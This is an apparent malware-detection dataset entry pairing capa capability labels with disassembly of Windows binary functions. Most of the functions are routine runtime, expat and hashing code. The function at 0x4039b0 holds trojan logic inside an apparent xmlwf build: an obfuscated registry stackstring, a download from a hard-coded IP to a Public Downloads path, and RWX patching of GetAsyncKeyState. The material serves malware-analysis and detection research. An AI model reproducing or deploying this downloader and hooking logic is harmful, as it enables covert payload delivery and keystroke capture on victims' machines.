joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403850
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41760b
push eax
mov eax, 0x10ac
mov dword fs:[0], esp
call fcn.004062b0
push ebx
push 0
push 0
push 0
push 1
push str.Download
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
je 0x403994
mov eax, dword [ebp + 8]
push esi
push 0
push 0x80000000
push 0
push 0
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x40398c
mov ecx, dword [ebp + 0xc]
push 1
push 0x40
push 0x20
push ecx
lea ecx, [ebp - 0xb8]
call fcn.004035e0
cmp dword [ebp - 0x60], 0
mov dword [ebp - 4], 0
je 0x403963
push edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
lea edx, [ebp - 0x10]
push edx
push 0x1000
lea eax, [ebp - 0x10b8]
push eax
push esi
call edi
test eax, eax
je 0x403928
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x403928
push 0
push eax
lea ecx, [ebp - 0x10b8]
push ecx
lea ecx, [ebp - 0xb8]
call fcn.00402b50
lea edx, [ebp - 0x10]
push edx
push 0x1000
lea eax, [ebp - 0x10b8]
push eax
push esi
call edi
test eax, eax
jne 0x4038f5
lea ecx, [ebp - 0xb4]
call fcn.00403440
pop edi
test eax, eax
jne 0x403963
mov ecx, dword [ebp - 0xb8]
mov ecx, dword [ecx + 4]
mov eax, dword [ebp + ecx - 0xac]
lea ecx, [ebp + ecx - 0xb8]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x40395b
or eax, 4
push 0
push eax
call fcn.00401500
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 0xffffffff
call fcn.00403740
lea edx, [ebp - 0x58]
push edx
mov dword [ebp - 0x58], vtable.std::ios_base.0
call fcn.004042ce
add esp, 4
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop esi
mov ecx, dword [ebp - 0xc]
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x4039b0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
lea ecx, [ebp - 0x18]
push ecx
push 0x80000002
mov dword [ebp - 0x18], 0x54464f53
mov dword [ebp - 0x14], 0x45524157
mov dword [ebp - 0x10], 0x42444f5c
mov word [ebp - 0xc], 0x43
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403a83
push ebx
push esi
push eax
call fcn.00404c7a
push eax
call fcn.00404d44
add esp, 8
mov esi, 0x1d
lea esp, [esp]
call fcn.00404d56
call fcn.00404d56
dec esi
jne 0x403a10
push 4
push 0x1000
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push str.C:UsersPublicDownloadsindex.ccp
push str.http:__117.41.184.33:9123_248.ccp
mov esi, eax
call fcn.00403850
add esp, 8
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cpuid
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x27], ebx
mov dword [ebp - 0x26], ecx
mov dword [ebp - 0x25], edx
call fcn.004011b0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, dword [sym.imp.USER32.dll_GetAsyncKeyState]
lea edx, [ebp - 8]
push edx
push 0x40
push 1
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
pop esi
pop ebx
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x406ef5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41e910]
jne 0x406eff
repz ret
jmp fcn.0040d808

Function at 0x413914
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41e910]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00409b60
and dword [ebp - 0x14], 0
cmp dword [0x420540], 0
mov dword [ebp - 0x18], eax
jne 0x4139c7
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x413a6f
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x413a6f
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x420540], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x420544], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x420548], eax
call edi
push eax
call esi
mov dword [0x420550], eax
test eax, eax
je 0x4139c7
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42054c], eax
mov eax, dword [0x42054c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x413a20
cmp dword [0x420550], ecx
je 0x413a20
push eax
call esi
push dword [0x420550]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x413a20
test ebx, ebx
je 0x413a20
call edi
test eax, eax
je 0x413a17
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x413a17
test byte [ebp - 8], 1
jne 0x413a20
or dword [ebp + 0x10], 0x200000
jmp 0x413a53
mov eax, dword [0x420544]
cmp eax, dword [ebp - 0x18]
je 0x413a53
push eax
call esi
test eax, eax
je 0x413a53
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x413a53
mov eax, dword [0x420548]
cmp eax, dword [ebp - 0x18]
je 0x413a53
push eax
call esi
test eax, eax
je 0x413a53
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x420540]
call esi
test eax, eax
je 0x413a6f
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x413a71
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406ef5
leave
ret
Function at 0x4011b0
Capabilities:
Get file size
Read file via mapping

Disassembly:
sub esp, 8
push esi
mov esi, dword [esp + 0x10]
push edi
push 0
push 0x8000000
push 3
push 0
push 1
push Ordinal_3
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4011e6
call fcn.00401130
pop edi
xor eax, eax
pop esi
add esp, 8
ret
lea eax, [esp + 8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
je 0x4011d9
cmp dword [esp + 8], 0
je 0x401221
push esi
push str._s:_bigger_than_2Gb_n
call fcn.0040330a
add eax, 0x40
push eax
call fcn.0040313d
add esp, 0xc
pop edi
xor eax, eax
pop esi
add esp, 8
ret
test eax, eax
jne 0x40124a
mov ecx, dword [esp + 0x1c]
push ecx
push esi
push eax
push 0x41c27c
call dword [esp + 0x28]
add esp, 0x10
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop esi
add esp, 8
ret
push ebp
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebp, eax
test ebp, ebp
jne 0x401277
call fcn.00401130
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop edi
xor eax, eax
pop esi
add esp, 8
ret
push ebx
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
test ebx, ebx
jne 0x4012a8
call fcn.00401130
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop ebx
pop ebp
pop edi
xor eax, eax
pop esi
add esp, 8
ret
mov edx, dword [esp + 0x24]
mov eax, dword [esp + 0x14]
push edx
push esi
push eax
push ebx
call dword [esp + 0x30]
add esp, 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop ebx
pop ebp
pop edi
mov eax, 1
pop esi
add esp, 8
ret
Function at 0x401530
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, dword [esp + 8]
test ebp, ebp
push esi
mov esi, eax
mov dword [esp + 0xc], 0
je 0x401568
push 0x8000
push ebp
call fcn.00411774
add esp, 8
test eax, eax
mov dword [esp + 0xc], eax
jge 0x401568
push ebp
call fcn.00403715
add esp, 4
pop esi
xor eax, eax
pop ebp
ret
push ebx
mov ebx, dword [sym.imp.LIBEXPAT.dll_Ordinal_7]
push edi
push 0x2000
push esi
call ebx
add esp, 8
test eax, eax
je 0x4015c7
nop
push 0x2000
push eax
mov eax, dword [esp + 0x1c]
push eax
call fcn.00418895
mov edi, eax
add esp, 0xc
test edi, edi
jl 0x4015fd
xor ecx, ecx
test edi, edi
sete cl
push ecx
push edi
push esi
call dword [sym.imp.LIBEXPAT.dll_Ordinal_17]
add esp, 0xc
test eax, eax
je 0x401629
test edi, edi
je 0x401651
push 0x2000
push esi
call ebx
add esp, 8
test eax, eax
jne 0x401580
test ebp, ebp
je 0x4015da
mov edx, dword [esp + 0x14]
push edx
call fcn.0040a928
add esp, 4
jmp 0x4015df
mov ebp, str.xmlwf
push ebp
push str._s:_out_of_memory_n
call fcn.0040330a
add eax, 0x40
push eax
call fcn.0040313d
add esp, 0xc
pop edi
pop ebx
pop esi
xor eax, eax
pop ebp
ret
test ebp, ebp
mov eax, ebp
jne 0x401608
mov eax, str.STDIN
push eax
call fcn.00403715
add esp, 4
test ebp, ebp
je 0x40164a
mov eax, dword [esp + 0x14]
push eax
call fcn.0040a928
add esp, 4
pop edi
pop ebx
pop esi
xor eax, eax
pop ebp
ret
test ebp, ebp
mov ebx, ebp
jne 0x401634
mov ebx, str.STDIN
call fcn.004012e0
test ebp, ebp
je 0x40164a
mov ecx, dword [esp + 0x14]
push ecx
call fcn.0040a928
add esp, 4
pop edi
pop ebx
pop esi
xor eax, eax
pop ebp
ret
test ebp, ebp
je 0x401662
mov edx, dword [esp + 0x14]
push edx
call fcn.0040a928
add esp, 4
pop edi
pop ebx
pop esi
mov eax, 1
pop ebp
ret

Function at 0x4016d0
Capabilities:
Terminate process

Disassembly:
sub esp, 0xc
push esi
mov esi, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x1c]
push edi
push esi
call dword [sym.imp.LIBEXPAT.dll_Ordinal_23]
add esp, 8
test eax, eax
jne 0x40170a
push edi
push str._s:_out_of_memory
call fcn.0040330a
add eax, 0x40
push eax
call fcn.0040313d
add esp, 0xc
push 1
call fcn.00403b55
push ebx
mov bl, byte [esp + 0x24]
test bl, 2
je 0x40172e
test bl, 1
mov eax, 0x4014b0
jne 0x401723
mov eax, 0x401670
push eax
push esi
call dword [sym.imp.LIBEXPAT.dll_Ordinal_38]
add esp, 8
test bl, 1
pop ebx
je 0x40175d
lea ecx, [esp + 0xc]
push ecx
lea eax, [esp + 0xc]
push 0x401350
push edi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], esi
call fcn.004011b0
add esp, 0xc
test eax, eax
jne 0x40176e
pop edi
pop esi
add esp, 0xc
ret
push edi
mov eax, esi
call fcn.00401530
add esp, 4
pop edi
pop esi
add esp, 0xc
ret
mov eax, dword [esp + 8]
pop edi
pop esi
add esp, 0xc
ret

Function at 0x4025b0
Capabilities:
Terminate process

Disassembly:
push eax
push str.usage:__s___n____p____r____s____w____x____d_output_dir____e_encoding__file_..._n
call fcn.0040330a
add eax, 0x40
push eax
call fcn.0040313d
mov ecx, dword [esp + 0x10]
add esp, 0xc
push ecx
call fcn.00403b55
int3
Function at 0x402f54
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x402f5e
repz ret
jmp fcn.00405898
Function at 0x4089a2
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x420aa8]
je 0x4089bd
inc edi
cmp edi, 0x17
jb 0x4089ae
cmp edi, 0x17
jae 0x408b3d
push ebp
push 3
call fcn.00410106
cmp eax, 1
pop ecx
je 0x408b09
push 3
call fcn.00410106
test eax, eax
pop ecx
jne 0x4089f1
cmp dword [0x4202a0], 1
je 0x408b09
cmp ebx, 0xfc
je 0x408b3c
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x421760
push ebp
call fcn.0040c5c4
add esp, 0xc
test eax, eax
je 0x408a27
push esi
push esi
push esi
push esi
push esi
call fcn.00407365
add esp, 0x14
push 0x104
mov esi, 0x421779
push esi
push 0
mov byte [0x42187d], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x408a6b
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.0040c5c4
add esp, 0xc
test eax, eax
je 0x408a6b
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00407365
add esp, 0x14
push esi
call fcn.00409100
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x408ab0
push esi
call fcn.00409100
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x421a74
push 0x41cc5c
sub ecx, eax
push ecx
push eax
call fcn.00410053
add esp, 0x14
test eax, eax
je 0x408ab0
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.00407365
add esp, 0x14
jmp 0x408ab2
xor esi, esi
push 0x41cc58
push ebx
push ebp
call fcn.0040ffe2
add esp, 0xc
test eax, eax
je 0x408ad2
push esi
push esi
push esi
push esi
push esi
call fcn.00407365
add esp, 0x14
push dword [edi*8 + 0x420aac]
push ebx
push ebp
call fcn.0040ffe2
add esp, 0xc
test eax, eax
je 0x408af4
push esi
push esi
push esi
push esi
push esi
call fcn.00407365
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.0040fe25
add esp, 0xc
jmp 0x408b3c
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x408b3c
cmp ebp, 0xffffffff
je 0x408b3c
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x420aac]
push dword [esi]
call fcn.00409100
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x40fe25
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00409265
xor ebx, ebx
cmp dword [0x421aec], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x40fefb
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x40ffdb
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x40ffdb
push eax
call fcn.004091f7
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x421aec], eax
call esi
push eax
call fcn.004091f7
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x421af0], eax
call esi
push eax
call fcn.004091f7
mov dword [0x421af4], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0040384c
test eax, eax
pop ecx
pop ecx
je 0x40fec9
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00407365
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x40fefb
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.004091f7
cmp eax, ebx
pop ecx
mov dword [0x421afc], eax
je 0x40fefb
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004091f7
pop ecx
mov dword [0x421af8], eax
mov eax, dword [0x421af8]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x40ff80
cmp dword [0x421afc], ecx
je 0x40ff80
push eax
call fcn.0040926e
push dword [0x421afc]
mov esi, eax
call fcn.0040926e
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x40ff80
cmp edi, ebx
je 0x40ff80
call esi
cmp eax, ebx
je 0x40ff4d
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40ff4d
test byte [ebp - 0x18], 1
jne 0x40ff80
lea eax, [ebp - 0x10]
push eax
call fcn.004038fb
test eax, eax
pop ecx
je 0x40ff68
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00407365
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x40ff77
or dword [ebp + 0x10], 0x200000
jmp 0x40ffbb
or dword [ebp + 0x10], 0x40000
jmp 0x40ffbb
mov eax, dword [0x421af0]
cmp eax, dword [ebp - 8]
je 0x40ffbb
push eax
call fcn.0040926e
cmp eax, ebx
pop ecx
je 0x40ffbb
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40ffbb
mov eax, dword [0x421af4]
cmp eax, dword [ebp - 8]
je 0x40ffbb
push eax
call fcn.0040926e
cmp eax, ebx
pop ecx
je 0x40ffbb
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x421aec]
call fcn.0040926e
cmp eax, ebx
pop ecx
je 0x40ffdb
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40ffdd
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402ef0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, edx
not ebx
mov esi, ecx
mov eax, ebx
test edi, edi
je 0x402f51
mov cl, byte [esi]
lea esi, [esi + 1]
dec edi
cmp cl, 0x23
jne 0x402f34
cmp edi, 2
jb 0x402f34
cmp byte [esi], cl
jne 0x402f34
cmp byte [esi + 1], cl
jne 0x402f34
mov eax, ebx
movzx ecx, cl
movzx edx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x43e9a0]
jmp 0x402f05
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x43e9a0]
test edi, edi
jne 0x402f05
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
mov cl, byte [esi]
inc esi
test cl, cl
je 0x402f80
cmp cl, 0x23
jne 0x402f67
cmp byte [esi], cl
jne 0x402f67
cmp byte [esi + 1], cl
cmove eax, ebx
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [esi]
inc esi
xor eax, dword [edx*4 + 0x43e9a0]
test cl, cl
jne 0x402f58
pop edi
pop esi
not eax
pop ebx
pop ebp
ret

Function at 0x403060
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
je 0x403074
mov dword [ebx], 0
mov edx, 0x43e4d8
call fcn.00402f90
mov esi, eax
test esi, esi
je 0x403162
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push esi
call edi
add esp, 4
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x403158
push 2
push 0
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x403158
push esi
call edi
mov edi, eax
add esp, 4
mov dword [ebp + 8], edi
cmp edi, 0xffffffff
je 0x403158
push 0
push dword [ebp - 4]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x403158
mov eax, dword [0x445608]
test eax, eax
je 0x4030ec
inc dword [eax + 0x374]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
je 0x403158
push esi
push dword [ebp + 8]
push 1
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
push esi
cmp eax, dword [ebp + 8]
je 0x40313d
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, dword [0x445608]
add esp, 4
test eax, eax
je 0x40312a
dec dword [eax + 0x374]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
test ebx, ebx
je 0x40314f
mov eax, dword [ebp + 8]
mov dword [ebx], eax
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4100d0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x44500c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x445608]
push ebx
mov dword [ebp - 8], ecx
push esi
mov ebx, dword [eax + 0x1c48]
lea esi, [ebp - 8]
push edi
mov edi, 4
mov ecx, dword [ebx + 0xfc]
mov eax, dword [ebx + 0x104]
mov eax, dword [eax + ecx*4 - 4]
not eax
nop dword [eax + eax]
movzx ecx, byte [esi]
lea esi, [esi + 1]
movzx edx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x43e9a0]
sub edi, 1
jne 0x410110
not eax
lea ecx, [ebx + 0xfc]
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0041f560
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043c4d6
mov esp, ebp
pop ebp
ret

Function at 0x410a60
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x44500c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [0x445608]
mov ebx, edx
cmp byte [edi + 0x1f5d], 0
jne 0x410ab4
cmp byte [edi + 0x1f5e], 0
jne 0x410ab4
push dword [edi + 0x2f80]
lea eax, [ebp - 0x14]
push str.Tooltip__02d
push 0x10
push eax
call fcn.00402eb0
add esp, 0x10
test bl, 1
je 0x410bd5
jmp 0x410b4c
movss xmm1, dword [edi + 0x164c]
lea eax, [ebp - 0x14]
push dword [edi + 0x2f80]
movaps xmm0, xmm1
mulss xmm1, dword [0x442e9c]
push str.Tooltip__02d
mulss xmm0, dword [0x442ea8]
push 0x10
addss xmm1, dword [edi + 0xe8]
push eax
addss xmm0, dword [edi + 0xe4]
mov dword [edi + 0x1cec], 0
mov dword [edi + 0x1cf0], 0
movss dword [edi + 0x1ce8], xmm1
mov dword [edi + 0x1cd4], 1
movss dword [edi + 0x1ce4], xmm0
mov byte [edi + 0x1d0c], 1
movss xmm0, dword [edi + 0x16a8]
mulss xmm0, dword [0x442e00]
or dword [edi + 0x1cd0], 0x41
movss dword [edi + 0x1d28], xmm0
call fcn.00402eb0
add esp, 0x10
mov al, byte [ebp - 0x14]
lea esi, [ebp - 0x13]
or edx, 0xffffffff
test al, al
je 0x410b87
or ebx, 0xffffffff
nop dword [eax]
cmp al, 0x23
jne 0x410b6e
cmp byte [esi], al
jne 0x410b6e
cmp byte [esi + 1], al
cmove edx, ebx
movzx ecx, dl
movzx eax, al
xor ecx, eax
shr edx, 8
mov al, byte [esi]
inc esi
xor edx, dword [ecx*4 + 0x43e9a0]
test al, al
jne 0x410b60
mov ecx, dword [0x445608]
not edx
push edx
lea ecx, [ecx + 0x1c30]
call fcn.00403320
test eax, eax
je 0x410bd5
cmp byte [eax + 0xc3], 0
je 0x410bd5
mov byte [eax + 0xca], 1
mov byte [eax + 0xe4], 1
lea eax, [ebp - 0x14]
inc dword [edi + 0x2f80]
push dword [edi + 0x2f80]
push str.Tooltip__02d
push 0x10
push eax
call fcn.00402eb0
add esp, 0x10
push 0x22c0347
xor edx, edx
lea ecx, [ebp - 0x14]
call fcn.0040c770
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0043c4d6
mov esp, ebp
pop ebp
ret
Function at 0x414e50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
cmp dword [edi + 0x3030], 0
lea esi, [edi + 0x3034]
je 0x414ed2
mov ecx, dword [esi + 4]
test ecx, ecx
jns 0x414e8c
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
xor ecx, ecx
test eax, eax
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.0041ff10
push dword [ebp + 8]
mov ecx, esi
mov dword [esi], 0
push ebx
call fcn.00403520
mov edx, dword [esi]
mov ecx, 0x445604
push dword [edi + 0x3030]
lea eax, [edx - 1]
neg edx
sbb edx, edx
and edx, eax
mov eax, dword [edi + 0x303c]
test eax, eax
push edx
cmovne ecx, eax
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp + 8]
mov ecx, esi
push ebx
call fcn.00403520
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4152b0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov bl, byte [ecx]
or eax, 0xffffffff
mov dword [ebp - 4], ecx
push esi
lea esi, [ecx + 1]
push edi
test bl, bl
je 0x4152f8
or edi, 0xffffffff
nop dword [eax]
cmp bl, 0x23
jne 0x4152df
cmp byte [esi], bl
jne 0x4152df
cmp byte [esi + 1], bl
cmove eax, edi
movzx edx, al
movzx ecx, bl
mov bl, byte [esi]
xor edx, ecx
shr eax, 8
inc esi
xor eax, dword [edx*4 + 0x43e9a0]
test bl, bl
jne 0x4152d0
mov ebx, dword [0x445608]
mov edi, dword [ebx + 0x3008]
test edi, edi
je 0x415330
lea esi, [edi + 4]
test esi, esi
je 0x415330
not eax
cmp dword [esi], eax
je 0x41533f
mov edx, dword [esi - 4]
mov ecx, dword [ebx + 0x3000]
add edx, esi
add ecx, 4
xor esi, esi
add ecx, edi
cmp edx, ecx
cmovne esi, edx
test esi, esi
jne 0x415311
mov ecx, dword [ebp - 4]
call fcn.004151d0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret